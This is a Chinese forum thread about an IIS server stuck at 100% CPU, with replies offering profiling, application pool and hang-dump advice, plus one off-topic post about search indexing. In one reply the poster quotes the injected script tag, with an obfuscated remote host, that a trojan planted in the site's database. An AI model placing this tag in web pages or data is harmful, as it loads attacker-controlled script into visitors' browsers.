最近服务器的cpu占用老是100%,前端时间可以通过重启服务器或者重启IIS解决,现在怎么也解决不了了,怎么办呢?

解决方案 »

  1.   

    使用 缓存
    负载均衡
    图片服务器分离
    http://hi.baidu.com/wangxiuhui/blog/item/3f9df6c4ca0ca2ac8226acb0.html
      

  2.   

    代码是N个人写的,数据库链接也都关闭了,现在有没有什么网站配置的方法,因为以前代码是这样的网站运行是cpu占用不高,应该不是代码的问题。只是最近。
      

  3.   

    1. 可以用sqlserver 自带的profiler工具跟踪看看是哪个sql语句比较耗时,然后在对其进行性能优化
    2. 可以用vs自带的性能工具跟踪程序看看是哪个调用最频繁,最耗时
    一般问题要么程序 要么 数据库,先跟踪确定是哪个地方的问题在解决吧,上面的两个跟踪方法你可以百度得到
      

  4.   

    现在又有一个奇怪的现象了,cpu波动很大,从0%波动到100%接着又到0%,一个周期大概1分钟,你说说这是怎么回事?
      

  5.   

    to wuyq11:使用独立应用程序池,我每次都是建立一个默认的应用程序池,然后把网站配到这个应用程序池,这样可以吗?应用程序池的配置有什么技巧吗
      

  6.   

    十有八九是中标了任务管理器--->>进程--->>CPU使用率--->>找到它(先看下是什么)
      

  7.   

    本人去年9月份发布的这个网站http://www.shpojie.com,现今百度收录只有1页,而且每星期就收录几页,有时候都不收录,只是把旧的页面更新了一下。 我每天都会更新网站内容(大多数都为原创),为什么百度收录就是那么慢呢? 
    1.是因为网站刚建?要论资排辈?小网站要排在最后收?---可我看到很多新网站发布几个月收录上千的啊? 
    2.流量太少?百度不屑于理你?---百度不多收录,怎么增加流量啊?难道要靠人力推广?个人站长岂不要累死?我仅有的这些流量几乎全是从百度来的。 
    3.外链太少?---谁都不愿跟新网站做链接,我申请过一些,人家都不理我啊? 
    4.是动态网站?用数据库了?aspx不如html收录快?---现在哪有网站不依托于数据库啊,我用的是虚拟主机,只能URL重写把查询字符串去掉,不能做伪静态啊。 
    5.网站设计不合理,不易于收录?---我是用织梦内容管理系统做的,难道这个也有关系?不是说这个很利于收录吗? 
    6.我在5月份增加了几个栏目,去了几个,主页改动较大,但保证已收录的页面都不动,算是一次小改版吧,这个有关系吗? 
    7.我几乎没有做推广,我真不知道就一个人还怎么做推广呢?用那些发帖子的软件?用流量精灵?我看很多站长都说网站初期没人带,做得很艰难 
    8.网站内容不行?教育的太冷门?---内容都是别人提供的,我是照别人的意思做站,另外很多教育网站流量都3、4千啊。 望各位高人指点!谢谢 
      

  8.   

    仔细检查下代码,看有没有忘记释放资源或关闭连接流什么的
    如果重启服务器和iis后还搞不定差不就就是中毒了吧
      

  9.   

    http://topic.csdn.net/u/20091221/22/895a1fa1-7b7f-4896-9d95-c26daa489907.html
      

  10.   

    就是W3WP.EXE就是我的那个网站,对了前段时间中了木马,在数据库中插入了</title>"><script</title>"><script src=http://%61%2E%70%70%6D%6D%6F%6F%2E%63%6E></script><!--这段脚本,我现在数据库中已经都把他们删除了呀,如果是病毒的话,怎么做具体的检测呢?比如代码中毒检测或者数据库中毒检测方法
      

  11.   

    貌似我也碰到了这个问题,w3wp.exe占用CPU100%,在IIS中调节连接池的默认连接数和进程数吧~~
      

  12.   

    先看看CPU100%的原因吧,然后再做优化
      

  13.   

    大家看看我的另外一个贴子,现在错误提示已经出现了
    http://topic.csdn.net/u/20091228/10/62c8a3e4-4289-4ac7-ba39-30b936171650.html
      

  14.   

    CPU 100%只有一种可能:就是CPU真的很忙。但是到这这个问题可能有多种:
    1、CPU正在执行一个高负载线程,这个线程的计算如此的复杂导致CPU需要满负荷。
    2、线程切换是多个线程之间发生自旋时也可能有此现象。首先要做的是,看看是哪个进程导致的,如果是你的程序再确定是哪个方法造成的,修改方法即可。这种周期性的规律其实很好排查。
      

  15.   

    首先你要确定到底是什么进程占用了大部分的CPU然后根据http://support.microsoft.com/kb/286350里面的方法抓取hang dump进行分析。一般情况下有以下几种情况:
    1、GC正在回收内存,这个时候CPU高很正常。注意:千万不要在代码里面调用GC.Collect(),频繁调用这个函数会导致CPU 100%
    2、你的程序确实处于繁忙状态,比如进入了一个很大的循坏
    3、程序进入了死循坏至于前面有些人提出的数据库连接没有及时释放之类的,根本不可能导致CPU高,相反它能让CPU使用率更低。因为你的连接没有释放的话,新的请求就无法处理,处于等待状态。处于等待状态的线程并不会消耗CPU
      

  16.   

    帅哥,你可以抓取到数据之后我帮你分析
    cscript adplus.vbs -hang -iis -o c:\dumps -quiet在CPU 100%的时候抓取两次,以2分钟为间隔你可以先找个测试机器运行一下看看效果,至于问题的根本原因嘛,抓取到数据之后100%能看出来